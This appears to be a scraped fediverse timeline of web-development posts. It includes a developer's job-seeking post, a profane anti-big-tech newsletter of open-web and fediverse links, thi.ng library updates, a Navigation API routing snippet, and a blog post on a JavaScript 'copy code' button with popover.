I am based in the UK, but have worked with teams in timezones as far out as Eastern Australia and the Western US

My contact details are

Email: jasonalexander.dev@gmail.com
Matrix: @crashtestdev:matrix.org
Signal: crashtestdev.45
Telegram: @crashtestdev
Discord: @crashtestdev

My CV: forgejo.crashtest.dev/jasonale

forgejo.crashtest.dev

cv

My CV.

@crashtestdev@woof.tech

-- EDIT -- Job offer received today, 2 weeks after being fired

Soo, sigh, I was dismissed yesterday from a relatively new job just before I could deploy a huge application, citing my lack of AI coding use

It was during my probationary period so it seems like they could have dismissed me for just about anything

Anyway now looking to get I'm a senior .NET and JavaScript developer who has worked with almost every popular framework/library in both of those ecosystems in a professional environment

I have also used Python to write simulations of nuclear reactors and have worked with bioinformatics software

I have even once single-handedly and successfully defended a project to the Cabinet Office of the United Kingdom

I have also done quite a bit of personal and open source work with rust

Free to start immediately, I was thankfully paid 1 month salary in lieu of notice

Edit:

I am based in the UK, but have worked with teams in timezones as far out as Eastern Australia and the Western US

My contact details are

Email: jasonalexander.dev@gmail.com
Matrix: @crashtestdev:matrix.org
Signal: crashtestdev.45
Telegram: @crashtestdev
Discord: @crashtestdev

My CV: forgejo.crashtest.dev/jasonale

forgejo.crashtest.dev

cv

My CV.

@crashtestdev@woof.tech

-- EDIT -- Job offer received today, 2 weeks after being fired

Soo, sigh, I was dismissed yesterday from a relatively new job just before I could deploy a huge application, citing my lack of AI coding use

It was during my probationary period so it seems like they could have dismissed me for just about anything

Anyway now looking to get I'm a senior .NET and JavaScript developer who has worked with almost every popular framework/library in both of those ecosystems in a professional environment

I have also used Python to write simulations of nuclear reactors and have worked with bioinformatics software

I have even once single-handedly and successfully defended a project to the Cabinet Office of the United Kingdom

I have also done quite a bit of personal and open source work with rust

Free to start immediately, I was thankfully paid 1 month salary in lieu of notice

Edit:

I am based in the UK, but have worked with teams in timezones as far out as Eastern Australia and the Western US

My contact details are

Email: jasonalexander.dev@gmail.com
Matrix: @crashtestdev:matrix.org
Signal: crashtestdev.45
Telegram: @crashtestdev
Discord: @crashtestdev

My CV: forgejo.crashtest.dev/jasonale

forgejo.crashtest.dev

cv

My CV.

@Erwin@mamutovo.cz

V dnešní době AI, která bude čím dál lépe umět programovat si říkám, jestli je ode mne moudré, že se učím

Na to jsem si odpověděl, že polsky jsem se taky začal učit, protože mne to baví a kdybych měl dělat jen to, co k něčemu je, tak bych nedělal kromě práce nic.

Zároveň jsem si vzpomněl na RUR od Čapka, kde popisuje postavu, která pracovala rukama, ačkoliv jakoukoliv manuální práci mohou zatávat roboti. Dělal to protože ho to uklinovalo, ačkoliv to bylo naprosto zbytečné. Tak se trochu cítím, když se ještě dnes učím JavaScript.

Mimochodem, přijde Vám, že je už dnes zbytečné se učit některé programovací jazyky, nebo je hype kolem AI přeceněný a ještě to má smysl?

@toxi@mastodon.thi.ng

Just released a new version of thi.ng/mime, reflecting the current mime-db and now also including manual additions of 20 common camera RAW image file formats (various manufacturers), as well as new helper functions and the ability to dynamically register/override file extensions and their MIME types in their preferred order.

thi.ng

650+ file extension to MIME type mappings, based on mime-db

@thefulcrum@newsletter.mobileatom.net
Welcome to this week's The Programmer's Fulcrum. It's your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism. This post originally appeared on The Fulcrum. As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism. IMHO, the best way to do that is to use tools from the Techno […]

Welcome to this week’s The Programmer’s Fulcrum.

It’s your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism.

This post originally appeared on The Fulcrum.

As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism.

IMHO, the best way to do that is to use tools from the Techno Anarchist Manifesto to build your own site(s) to participate in the Open Media Network. Then you should share it (them) via Real Simple Syndication (RSS), Open Social, and possibly a newsletter or podcast. This approach is similar to what some call the IndieWeb and its POSSE philosophy.

The second best strategy is to have accounts on open social and use the hell out of them. And do the same with a RSS feed reader.

We publish TPF on Fridays so you can enjoy it over your weekend.

There’s good stuff in all of our categories, so please take the time to enjoy and bookmark the items most relevant to your goals. We hope you are inspired to create new ones.

Or you can scroll down to your favorite section.

FYI, my opinions will be in bold. And may involve cursing. Because humans. Especially tech bros. And fascists. Fuck´em.


Featured Item(s)

Iris Meredith writes:

So, when I hear a tech person say that something’s “just a tool”, I can’t help but read it as an unwillingness to take responsibility, as an industry, for what we put into the world and for what we do to ourselves. Tools, unfortunately, simply cannot be the neutral, separate thing that so much of the tech world would like them to be, and pretending otherwise, let alone telling people affected by the tools that they’re simply using them wrong, is an abdication of our moral duty to avoid, inasmuch as is possible, doing harm. We really ought to do better.

There’s no such thing as Just a Tool

There is such a thing as TechBros, unfortunately. And their cuntier cousins, AIBros. And apolitical is a synonym for fascism-friendly. At least straight-up Nazis aren’t hypocrites.

Social Coding Commons writes:

… in modern society, generally speaking, we give too much credence to the technosphere. We take the idea that innovation equates to societal progress as a given, to which we must subsequently adapt ourselves. We tend to turn things around, where “digital transformation” suddenly means how humans must adapt their lives to new technology that comes to disrupt it. And not the other way round.

The Fediverse has evolved purely as a technosphere (unfortunately).

Paradigm shift to the Prosocial web

A fan-fucking-tastic piece.

On a relate note, Hamish Campbell has thoughts on Open Governance Bodies / Building:

Power stays with the people doing the work

This is a good explanation of how digital communities and projects can govern themselves.

And we published an article this week, where I write:

The premise of this article is that developing or using ActivityPub tools, participating in the Fediverse, publishing to the Indie Web / Open Media Network, and adopting the arsenal of the Techno Anarchist Manifesto are the new punk.

ActivityPub, the Fediverse, the IndieWeb/Open Media Network, and Techno Anarchism = Punk Rock


CMSs

Jan Miksovsky explores

Origami Projector: a Glitch-like app for site editing

A great idea. Although only available on newer Macs unfortunately.

I also ran across AnyPub, an editor for Standard.Site publications.

CSS Tricks explores the:

WordPress PHP-Only Block Registration

Good news for those migrating legacy sites. And avoiding the shit known as React, at least some of the time.

Why Do I Write This? writes:

Neocities is for nostalgic masochists

Seems about right.

Scraps! expounds:

On Atmospheric Stacks…

Mark W.Rites says:

Alt Text is the Ocean You Thought Was a Pond

Faircamp announces:

Faircamp 2.0

And Vidnight has:

I disagree with the take that the internet is dead

Enjoy the open web peeps. It helps keep me sane. And I am happy to see this from a 20 year old. 🙂

Ghost

Spectral Web Services has:

I accidentally built an image library for Ghost

This should be in Ghost core. It sucks that it isn’t.

Their competitor, Magic Pages has:

A press of your “own”

Good stuff.

Back to top 👆🏼


Tools

Tuta has:

Digital Sovereignty Study: EU IT leaders are quitting U.S. Big Tech

U.S. Sanctions against Autistici / Inventati are the next wake-up call for digital sovereignty

KDE examines:

KDE For Digital Sovereignty

NLNet urges:

Apply for funding before November 3rd 2026

They are going the correct direction with AI use, which is to severely restrict it.

Organic Maps has:

Multi-selection for bookmarks and tracks, a CarPlay dashboard, hiding tracks on the map, and readable share links in the August 2026 update

Threat Model shows us:

How to migrate from 1Password

VPNs

Mullvad is:

Shutting down our public encrypted DNS servers and sponsoring Quad9 instead

Chat / Team Chat

FluffyChat shows us:

How to use end-to-end encryption in FluffyChat

About Signal reports:

Signal introduces new notification settings for Android and Desktop

Browsers

Servo shares:

July in Servo: more platforms, faster canvas, web fonts in SVG, and more!

9to5Linux reports:

Mozilla Firefox 155 Is Now Available for Download, Here’s What’s New

Remember to use Firefox forks like Zen, Waterfox, or Librewolf.

Webkit has:

Submit your ideas for Interop 2027

Fixing Top-Level Await in Safari

Remember not to use Safari for anything you want kept private. And preferably not at all.

Cloud

Nextcloud shows us:

How to set up UnifiedPush on Android for Nextcloud Talk: push notifications without Google Play Services

Fuck Google!

Writing

Joplin shares:

What’s new in Joplin 3.7

The new table editor in the Markdown editor is awesome. The addition of AI features sucks. At least they are optional you can use a local model.

LibreOffice announces:

Yes, no AI is now a feature

Bon. AI should almost never be used, but if it is (translation), it should be as an optional extension.

Creative

Kdenlive announces:

Kdenlive 26.08 is out!

9to5Linux reports:

OpenShot 4.0 Open-Source Video Editor Officially Released, Here’s What’s New

Audacity 4.0 Open-Source Audio Editor Officially Released, Here’s What’s New

Linux / Open Android

And:

Debian Project Formalizes Responsible Use of Generative AI

Like Linux core, Debian chooses to slowly ensloppify and likely enshittify.

F-Droid has its weekly summary:

Searching complexity and Taler update

This week’s featured OMN tool

Dokieli

Write, publish, and annotate articles from your web browser. Your content stays yours.

Dokeli

Back to top 👆🏼


Programming

Typemill expounds:

On the way to automate user manuals and knowledge bases

This is a legitimate use of local AI. It’s the second most legit use after translation.

Git

The Linux Foundation has a useful course for KISS developers (rare for them):

Share Smarter GPU Resources and Master Git
from First Commit to Merge Conflict

Their learning platform subscription is not cheap, but this might be worth a one month one while you finish the course.

HTML

Vasilis van Gemert explores:

What are we not talking about anymore?

Master.dev examines:

New Things You Should Know About HTML Here in Mid 2026

Great stuff.

Vale says:

initial-scale is dead!

As in unnecessary.

JavaScript

Ollie Williams explores:

Highlighting a range of text inside an input or textarea

A rarely needed though legitimate use of JavaScript.

AI

So AI is now fucking over tech conferences as well:

Lettre ouverte pour la survie des événements techniques en France

And freelancers:

Freelancers are getting buried with ‘soulless’ AI slop cleanup: ‘It’s a shame we need to do it’

One of the main purposes of AI is to drive down the cost of labor (it’s a fascist artifact). And these are the consequences when you use it.

Other

OakChris1955 looks at:

Migrating from Cloudflare Pages to Codeberg Pages wasn’t that difficult, actually

I have used Codeberg to deploy a test Publii site. And it worked great. But, you were limited to one site at that point.

This week’s featured programming tool

Markdown

Write for your website and documentation. And not for AI.

Markdown

Back to top 👆🏼


ActivityPub

ActivityPub for WordPress shares:

9.3.0 — Modern Signatures and a Summer of Security Reports

This is a perfect example of what an update announcement should be. 😉

Social Coding Commons opines:

I argue that ForgeFed and ActivityPub should support multi-types as specified in Activity Streams

They are correct and this provides an insight into why AP development is so slow and convoluted. And to why there is much less innovation in the Fediverse as compared to the Atmosphere with ATProto. ActivityPub is just more anarchic.

Not that its a bad thing, as I point out in my featured article. Plus, it’s definitely more enshittification-resistant.

Plus, core ATProto has much more money and developers behind it than ActivityPub does.

Terence Eden has:

A reasonably practical guide to validating RFC 9421 HTTP Signatures for ActivityPub in PHP

ActivityBot is the recipient of an NLnet grant!

In effect he’s creating something similar to Starling for bots. And it’s for use as a developer learning tool.

A review of the ActivityPub book.

Andros Fenollosa explores:

Building a decentralized bulletin board (and accidentally reinventing Nostr)

Abuuba announces:

abuuba 1.0 is out

Interesting.

Mobilizon needs you:

Version 5.2.5 is coming

This week’s featured ActivityPub featured tool

ForgeFed

ForgeFed is a federation protocol for software forges and code collaboration tools for the software development lifecycle and ecosystem.

ForgeFed

Back to top 👆🏼


Permanent aside here (unfortunately)

This is a perpetual pet peeve because many people aren’t able to comprehend ⬇️:

  • The Fediverse is for communities (private, semi-private, formal, informal, or otherwise)
  • and the Atmosphere is for the masses (unwashed, washed, or otherwise).
  • and corporate social media is for naive fools and intentional cunts.

So, recognize their natures and don’t ask the two protocols to go against them. This is also why we have accounts on both platforms and use them differently.

Fediverse

TootSDK announces:

A new release of TootSDK – 23.3.0

Owncast announces:

Owncast v0.3.0 has been released!

Fedilab Apps has:

FediHood now lets you sign up and log in with your Mastodon account

FediHood now supports Lemmy

This definitely makes it more useful.

Mastodon announces:

We just released Mastodon v4.7.1, v4.6.7, v4.5.17 and v4.4.24

And the Real Grunfink announces:

I’ve just published version 2.95 of Snac

Bonfire

Bonfire has:

Bonfire 1.0.7: what’s new and what’s next

Great stuff.

Building shared infrastructure for the Fediverse

Very important because -> see my comments about the Social Coding Commons piece above.

Back to top 👆🏼


More

Andros Fenollosa notes:

There is no such thing as full decentralization

A great overview and explanation.

Open Risk Management goes down an empirical rabbit hole:

Towards a Graph Calculus for Decentralized Social Networks

マリウス shares:

Hyperuplink: Discuss like it’s 1998

Cool.

ATProto

Venoom examines:

Decentralizing social media using ATProto and Matrix (venoom)

Eventuallycoding has:

Le piège de la transparence par défaut sur Bluesky et le protocole ATProto

Skyreader shares the:

Skyreader Vision

Atmosphere

Structural Integrity explains:

W Social is a textbook case for everything wrong with digital sovereignty

Roomy looks at:

Federating friendly spaces

P2P

Worm-Blossum shares its:

Week 35 (2026)

Webrings

Ross Floate has:

I built a new website. It’s happiest when you leave.

Very cool. I am going to try to replicate this on one of my sites.

XMPP

The Association for Progressive Communications has an interview:

Libervia on building an all-in-one communication platform grounded in the right to privacy

Daniel Gultsch celebrates:

Jabber/XMPP: 25 Years of Digital Independence

Matrix

Matrix has:

Neo Nominated for Open Source Competition

Is presence fixed yet?

This Week in Matrix 2026-09-04


CTAs

And please build something for a community! We’re painfully nurturing Manade.


Blasts from the past

Previous Battalion Posts

Previous Symfony Station Posts

Header illustration with text over dark background of stars, spaceship, and astronaut.
ALT text

Header illustration with text over dark background of stars, spaceship, and astronaut.

@thefulcrum@newsletter.mobileatom.net
Welcome to this week's The Programmer's Fulcrum. It's your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism. This post originally appeared on The Fulcrum. As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism. IMHO, the best way to do that is to use tools from the Techno […]

Welcome to this week’s The Programmer’s Fulcrum.

It’s your weekly curation of the essential news in the Open Media Network and Open Social development communities with a focus on devastating big tech via Techno Anarchism.

This post originally appeared on The Fulcrum.

As usual, we aim to provide actionable content you can use to destroy Techno Feudalism each week. It has the additional benefit of weakening authoritarianism.

IMHO, the best way to do that is to use tools from the Techno Anarchist Manifesto to build your own site(s) to participate in the Open Media Network. Then you should share it (them) via Real Simple Syndication (RSS), Open Social, and possibly a newsletter or podcast. This approach is similar to what some call the IndieWeb and its POSSE philosophy.

The second best strategy is to have accounts on open social and use the hell out of them. And do the same with a RSS feed reader.

We publish TPF on Fridays so you can enjoy it over your weekend.

There’s good stuff in all of our categories, so please take the time to enjoy and bookmark the items most relevant to your goals. We hope you are inspired to create new ones.

Or you can scroll down to your favorite section.

FYI, my opinions will be in bold. And may involve cursing. Because humans. Especially tech bros. And fascists. Fuck´em.


Featured Item(s)

Iris Meredith writes:

So, when I hear a tech person say that something’s “just a tool”, I can’t help but read it as an unwillingness to take responsibility, as an industry, for what we put into the world and for what we do to ourselves. Tools, unfortunately, simply cannot be the neutral, separate thing that so much of the tech world would like them to be, and pretending otherwise, let alone telling people affected by the tools that they’re simply using them wrong, is an abdication of our moral duty to avoid, inasmuch as is possible, doing harm. We really ought to do better.

There’s no such thing as Just a Tool

There is such a thing as TechBros, unfortunately. And their cuntier cousins, AIBros. And apolitical is a synonym for fascism-friendly. At least straight-up Nazis aren’t hypocrites.

Social Coding Commons writes:

… in modern society, generally speaking, we give too much credence to the technosphere. We take the idea that innovation equates to societal progress as a given, to which we must subsequently adapt ourselves. We tend to turn things around, where “digital transformation” suddenly means how humans must adapt their lives to new technology that comes to disrupt it. And not the other way round.

The Fediverse has evolved purely as a technosphere (unfortunately).

Paradigm shift to the Prosocial web

A fan-fucking-tastic piece.

On a relate note, Hamish Campbell has thoughts on Open Governance Bodies / Building:

Power stays with the people doing the work

This is a good explanation of how digital communities and projects can govern themselves.

And we published an article this week, where I write:

The premise of this article is that developing or using ActivityPub tools, participating in the Fediverse, publishing to the Indie Web / Open Media Network, and adopting the arsenal of the Techno Anarchist Manifesto are the new punk.

ActivityPub, the Fediverse, the IndieWeb/Open Media Network, and Techno Anarchism = Punk Rock


CMSs

Jan Miksovsky explores

Origami Projector: a Glitch-like app for site editing

A great idea. Although only available on newer Macs unfortunately.

I also ran across AnyPub, an editor for Standard.Site publications.

CSS Tricks explores the:

WordPress PHP-Only Block Registration

Good news for those migrating legacy sites. And avoiding the shit known as React, at least some of the time.

Why Do I Write This? writes:

Neocities is for nostalgic masochists

Seems about right.

Scraps! expounds:

On Atmospheric Stacks…

Mark W.Rites says:

Alt Text is the Ocean You Thought Was a Pond

Faircamp announces:

Faircamp 2.0

And Vidnight has:

I disagree with the take that the internet is dead

Enjoy the open web peeps. It helps keep me sane. And I am happy to see this from a 20 year old. 🙂

Ghost

Spectral Web Services has:

I accidentally built an image library for Ghost

This should be in Ghost core. It sucks that it isn’t.

Their competitor, Magic Pages has:

A press of your “own”

Good stuff.

Back to top 👆🏼


Tools

Tuta has:

Digital Sovereignty Study: EU IT leaders are quitting U.S. Big Tech

U.S. Sanctions against Autistici / Inventati are the next wake-up call for digital sovereignty

KDE examines:

KDE For Digital Sovereignty

NLNet urges:

Apply for funding before November 3rd 2026

They are going the correct direction with AI use, which is to severely restrict it.

Organic Maps has:

Multi-selection for bookmarks and tracks, a CarPlay dashboard, hiding tracks on the map, and readable share links in the August 2026 update

Threat Model shows us:

How to migrate from 1Password

VPNs

Mullvad is:

Shutting down our public encrypted DNS servers and sponsoring Quad9 instead

Chat / Team Chat

FluffyChat shows us:

How to use end-to-end encryption in FluffyChat

About Signal reports:

Signal introduces new notification settings for Android and Desktop

Browsers

Servo shares:

July in Servo: more platforms, faster canvas, web fonts in SVG, and more!

9to5Linux reports:

Mozilla Firefox 155 Is Now Available for Download, Here’s What’s New

Remember to use Firefox forks like Zen, Waterfox, or Librewolf.

Webkit has:

Submit your ideas for Interop 2027

Fixing Top-Level Await in Safari

Remember not to use Safari for anything you want kept private. And preferably not at all.

Cloud

Nextcloud shows us:

How to set up UnifiedPush on Android for Nextcloud Talk: push notifications without Google Play Services

Fuck Google!

Writing

Joplin shares:

What’s new in Joplin 3.7

The new table editor in the Markdown editor is awesome. The addition of AI features sucks. At least they are optional you can use a local model.

LibreOffice announces:

Yes, no AI is now a feature

Bon. AI should almost never be used, but if it is (translation), it should be as an optional extension.

Creative

Kdenlive announces:

Kdenlive 26.08 is out!

9to5Linux reports:

OpenShot 4.0 Open-Source Video Editor Officially Released, Here’s What’s New

Audacity 4.0 Open-Source Audio Editor Officially Released, Here’s What’s New

Linux / Open Android

And:

Debian Project Formalizes Responsible Use of Generative AI

Like Linux core, Debian chooses to slowly ensloppify and likely enshittify.

F-Droid has its weekly summary:

Searching complexity and Taler update

This week’s featured OMN tool

Dokieli

Write, publish, and annotate articles from your web browser. Your content stays yours.

Dokeli

Back to top 👆🏼


Programming

Typemill expounds:

On the way to automate user manuals and knowledge bases

This is a legitimate use of local AI. It’s the second most legit use after translation.

Git

The Linux Foundation has a useful course for KISS developers (rare for them):

Share Smarter GPU Resources and Master Git
from First Commit to Merge Conflict

Their learning platform subscription is not cheap, but this might be worth a one month one while you finish the course.

HTML

Vasilis van Gemert explores:

What are we not talking about anymore?

Master.dev examines:

New Things You Should Know About HTML Here in Mid 2026

Great stuff.

Vale says:

initial-scale is dead!

As in unnecessary.

JavaScript

Ollie Williams explores:

Highlighting a range of text inside an input or textarea

A rarely needed though legitimate use of JavaScript.

AI

So AI is now fucking over tech conferences as well:

Lettre ouverte pour la survie des événements techniques en France

And freelancers:

Freelancers are getting buried with ‘soulless’ AI slop cleanup: ‘It’s a shame we need to do it’

One of the main purposes of AI is to drive down the cost of labor (it’s a fascist artifact). And these are the consequences when you use it.

Other

OakChris1955 looks at:

Migrating from Cloudflare Pages to Codeberg Pages wasn’t that difficult, actually

I have used Codeberg to deploy a test Publii site. And it worked great. But, you were limited to one site at that point.

This week’s featured programming tool

Markdown

Write for your website and documentation. And not for AI.

Markdown

Back to top 👆🏼


ActivityPub

ActivityPub for WordPress shares:

9.3.0 — Modern Signatures and a Summer of Security Reports

This is a perfect example of what an update announcement should be. 😉

Social Coding Commons opines:

I argue that ForgeFed and ActivityPub should support multi-types as specified in Activity Streams

They are correct and this provides an insight into why AP development is so slow and convoluted. And to why there is much less innovation in the Fediverse as compared to the Atmosphere with ATProto. ActivityPub is just more anarchic.

Not that its a bad thing, as I point out in my featured article. Plus, it’s definitely more enshittification-resistant.

Plus, core ATProto has much more money and developers behind it than ActivityPub does.

Terence Eden has:

A reasonably practical guide to validating RFC 9421 HTTP Signatures for ActivityPub in PHP

ActivityBot is the recipient of an NLnet grant!

In effect he’s creating something similar to Starling for bots. And it’s for use as a developer learning tool.

A review of the ActivityPub book.

Andros Fenollosa explores:

Building a decentralized bulletin board (and accidentally reinventing Nostr)

Abuuba announces:

abuuba 1.0 is out

Interesting.

Mobilizon needs you:

Version 5.2.5 is coming

This week’s featured ActivityPub featured tool

ForgeFed

ForgeFed is a federation protocol for software forges and code collaboration tools for the software development lifecycle and ecosystem.

ForgeFed

Back to top 👆🏼


Permanent aside here (unfortunately)

This is a perpetual pet peeve because many people aren’t able to comprehend ⬇️:

  • The Fediverse is for communities (private, semi-private, formal, informal, or otherwise)
  • and the Atmosphere is for the masses (unwashed, washed, or otherwise).
  • and corporate social media is for naive fools and intentional cunts.

So, recognize their natures and don’t ask the two protocols to go against them. This is also why we have accounts on both platforms and use them differently.

Fediverse

TootSDK announces:

A new release of TootSDK – 23.3.0

Owncast announces:

Owncast v0.3.0 has been released!

Fedilab Apps has:

FediHood now lets you sign up and log in with your Mastodon account

FediHood now supports Lemmy

This definitely makes it more useful.

Mastodon announces:

We just released Mastodon v4.7.1, v4.6.7, v4.5.17 and v4.4.24

And the Real Grunfink announces:

I’ve just published version 2.95 of Snac

Bonfire

Bonfire has:

Bonfire 1.0.7: what’s new and what’s next

Great stuff.

Building shared infrastructure for the Fediverse

Very important because -> see my comments about the Social Coding Commons piece above.

Back to top 👆🏼


More

Andros Fenollosa notes:

There is no such thing as full decentralization

A great overview and explanation.

Open Risk Management goes down an empirical rabbit hole:

Towards a Graph Calculus for Decentralized Social Networks

マリウス shares:

Hyperuplink: Discuss like it’s 1998

Cool.

ATProto

Venoom examines:

Decentralizing social media using ATProto and Matrix (venoom)

Eventuallycoding has:

Le piège de la transparence par défaut sur Bluesky et le protocole ATProto

Skyreader shares the:

Skyreader Vision

Atmosphere

Structural Integrity explains:

W Social is a textbook case for everything wrong with digital sovereignty

Roomy looks at:

Federating friendly spaces

P2P

Worm-Blossum shares its:

Week 35 (2026)

Webrings

Ross Floate has:

I built a new website. It’s happiest when you leave.

Very cool. I am going to try to replicate this on one of my sites.

XMPP

The Association for Progressive Communications has an interview:

Libervia on building an all-in-one communication platform grounded in the right to privacy

Daniel Gultsch celebrates:

Jabber/XMPP: 25 Years of Digital Independence

Matrix

Matrix has:

Neo Nominated for Open Source Competition

Is presence fixed yet?

This Week in Matrix 2026-09-04


CTAs

And please build something for a community! We’re painfully nurturing Manade.


Blasts from the past

Previous Battalion Posts

Previous Symfony Station Posts

Header illustration with text over dark background of stars, spaceship, and astronaut.
ALT text

Header illustration with text over dark background of stars, spaceship, and astronaut.

@toxi@mastodon.thi.ng

I updated my tool to batch-delete Mastodon bookmarks to also store JSON backups of the deleted bookmarks. For each one it now writes a JSON file with the post ID, account ID, creation date and HTML content. If there's interest I might also update it to fetch & backup linked media.

The script can be configured to adjust the threshold date (only older bookmarks are removed). It also allows setting protected accounts and hashtags.

I'm bookmarking ferociously and running this script every few months to help keep the storage requirements on my solo instance under control, but maybe others are finding it useful too. In my current run I expect it to delete a several thousand bookmarks...

gist.github.com/postspectacula

To use it yourself, edit the configuration options at the top of the file and then run via node delete-bookmark.js. The script uses various delays to help with API throttling and generally be a good netizen... So depending on the number of bookmarks, the process can take hours. Be warned! :)

Btw. The backups are useful for future post-processing (incl. converting the content to markdown and auto-tagging for better retrieval/organization). I really wished Mastodon would have the ability to assign tags to bookmarked posts to make them a lot more useful. As is, there's not much one can do with them directly, especially if search is not available on a server instance...

gist.github.com

Configurable batch deletion of Mastodon bookmarks (using Mastodon API). MIT Licensed. Edit the configuration at the top of the file and then run via `node delete-bookmark.js`. The script uses various delays to help with API throttling and generally be a good netizen...

Configurable batch deletion of Mastodon bookmarks (using Mastodon API). MIT Licensed. Edit the configuration at the top of the file and then run via `node delete-bookmark.js`. The script uses vario...

@frontenddogma@mas.to
@toxi@mastodon.thi.ng

A small code snippet for a current shop admin task, to help me with preparing different print size options in both inches and centimeters, grouped by landscape, portrait or square format.

The script illustrates how to functionally iterate over all possible sizes in a min/max range, converting & formatting units and grouping sizes based on their aspect ratio. All mostly relies on thi.ng/transducers and thi.ng/units for different transformation/conversion steps.

I'm posting this since in a recent poll people had indicated that they'd like to see more code snippets for using my libraries — maybe someone finds it as an useful reference...

Full source code:
gist.github.com/postspectacula

Syntax colored TypeScript source code. Full version here: https://gist.github.com/postspectacular/a122ab9c1cd52934b8093461231c6044
ALT text

Syntax colored TypeScript source code. Full version here: https://gist.github.com/postspectacular/a122ab9c1cd52934b8093461231c6044

Resulting text output of print sizes grouped by aspect ratio. Full source: https://gist.github.com/postspectacular/a122ab9c1cd52934b8093461231c6044

Excerpt:

square:
4 × 4 inch (10 × 10 cm)
5 × 5 inch (13 × 13 cm)
6 × 6 inch (15 × 15 cm)
...

landscape:
5 × 4 inch (13 × 10 cm)
6 × 4 inch (15 × 10 cm)
7 × 4 inch (18 × 10 cm)
...

portrait:
4 × 5 inch (10 × 13 cm)
4 × 6 inch (10 × 15 cm)
5 × 6 inch (13 × 15 cm)
...
ALT text

Resulting text output of print sizes grouped by aspect ratio. Full source: https://gist.github.com/postspectacular/a122ab9c1cd52934b8093461231c6044 Excerpt: square: 4 × 4 inch (10 × 10 cm) 5 × 5 inch (13 × 13 cm) 6 × 6 inch (15 × 15 cm) ... landscape: 5 × 4 inch (13 × 10 cm) 6 × 4 inch (15 × 10 cm) 7 × 4 inch (18 × 10 cm) ... portrait: 4 × 5 inch (10 × 13 cm) 4 × 6 inch (10 × 15 cm) 5 × 6 inch (13 × 15 cm) ...

@kopper@not-brain.d.on-t.work
soo am i just stupid or is the js navigation api kinda goated. like. if i'm not mistaken this should be enough to make a relatively good feeling spa router nowadays, right? i gotta be missing something beyond "its not ancient enough yet"
navigation.addEventListener("navigate", event => {
	if (!event.canIntercept) return;
	if (event.hashChange || event.downloadRequest != null || event.formData != null) return;

	const focus = document.activeElement?.id ?? "";
	navigation.updateCurrentEntry({ state: { focus } });

	event.intercept({
		async handler() {
			await magicFunctionThatRendersTheRoute(event.destination.url);

			const destination = event.destination.getState();
			if (destination.focus) {
				const el = document.getElementById(destination.focus);
				el?.focus();
			}

			event.scroll();
		},
	});
});



@Edent@mastodon.social

🆕 blog! “A simple "copy this code" button in JavaScript”

Next to all the code samples on this blog is a little "copy" button. That makes it easier to grab any of the code I've shared.

The HTML and JS is delightfully simple:

<button
onclick="navigator.clipboard.writeText(
this.parentNode.getElementsByTagName('code')[0].textContent
);"
…

👀 Read more: shkspr.mobi/blog/2026/08/a-sim
⸻

shkspr.mobi

A simple "copy this code" button in JavaScript

Next to all the code samples on this blog is a little "copy" button. That makes it easier to grab any of the code I've shared. The HTML and JS is delightfully simple: ⧉Copied HTML to 📋 HTML<button onclick="navigator.clipboard.writeText( this.parentNode.getElementsByTagName('code')[0].textContent );" title="Copy code" >⧉</button> The navigator.clipboard.writeText needs a us…

@Edent@mastodon.social

🆕 blog! “A simple "copy this code" button in JavaScript”

Next to all the code samples on this blog is a little "copy" button. That makes it easier to grab any of the code I've shared.

The HTML and JS is delightfully simple:

<button
onclick="navigator.clipboard.writeText(
this.parentNode.getElementsByTagName('code')[0].textContent
);"
…

👀 Read more: shkspr.mobi/blog/2026/08/a-sim
⸻

shkspr.mobi

A simple "copy this code" button in JavaScript

Next to all the code samples on this blog is a little "copy" button. That makes it easier to grab any of the code I've shared. The HTML and JS is delightfully simple: ⧉Copied HTML to 📋 HTML<button onclick="navigator.clipboard.writeText( this.parentNode.getElementsByTagName('code')[0].textContent );" title="Copy code" >⧉</button> The navigator.clipboard.writeText needs a us…

@blog@shkspr.mobi

A simple "copy this code" button in JavaScript

shkspr.mobi/blog/2026/08/a-sim

Next to all the code samples on this blog is a little "copy" button. That makes it easier to grab any of the code I've shared.

Copied HTML to 📋Copied HTML to 📋Copied HTML to 📋Copied HTML to 📋Copied JavaScript to 📋Copied CSS to 📋

The HTML and JS is delightfully simple:

 HTML<button
    onclick="navigator.clipboard.writeText(
        this.parentNode.getElementsByTagName('code')[0].textContent
    );" 
    title="Copy code"
>⧉</button>

The navigator.clipboard.writeText needs a user interaction to work - so it is tied to a click on the button.

It takes some plaintext content. But how to get that content? My code samples look like this:

 HTML<pre itemscope itemtype=https://schema.org/SoftwareSourceCode translate=no>
    <button onclick="navigator.clipboard.writeText( this.parentNode.getElementsByTagName('code')[0].textContent );">⧉</button>
    <span>
        <img alt height=32 src=html.svg width=32>
        <span itemprop=programmingLanguage> HTML</span>
    </span>
    <code itemprop=text>[…]</code>
</pre>

There are various ways I could get that <code> element:

  • Give it a unique ID (but that might clutter the code, or conflict with something else).
  • Use this.nextSibling.nextSibling (but that might not work if the layout changes).
  • Use this.lastChild.textContent (but, again, depends on the layout staying the same).
  • Select based on itemprop (could make the code a bit longer).
  • Complex filtering on a NodeList (urgh).

None of those are particularly bad per se, so I've chosen the method which makes most sense to me.

You can read more about my Classless Design, and how I use metadata to identify programming languages, including whether HTML's code blocks be translated.

To let people know that it has worked, I've added a little popover.

Every piece of code has it's own dialog element with a unique id:

 HTML<dialog
    id=pop
    popover=hint>Copied JS to 📋</dialog>

No JavaScript is required to show the popover when the copy button is pressed:

 HTML<button popovertarget=pop popovertargetaction=show>

Closing the the popover hint doesn't require JS; clicking outside it will dismiss it. But a little scrap of JS on the button's onclick will make it disappear after a few seconds:

 JavaScriptsetTimeout(
    function() {
        document.getElementById("pop").hidePopover();
    }, 
3000);

The browser's default is to place it in the middle of the screen.

Positioning the popup so it is in proximity to the button also requires CSS - no JS.

 CSSdialog[popover] {
    inset: unset;
    position: absolute;
    padding: .5em;
}

Although that might not work in Chrome or Safari.

OK, that started out simple but got a bit more complex. Sorry!

developer.mozilla.org

HTMLElement: popover property - Web APIs | MDN

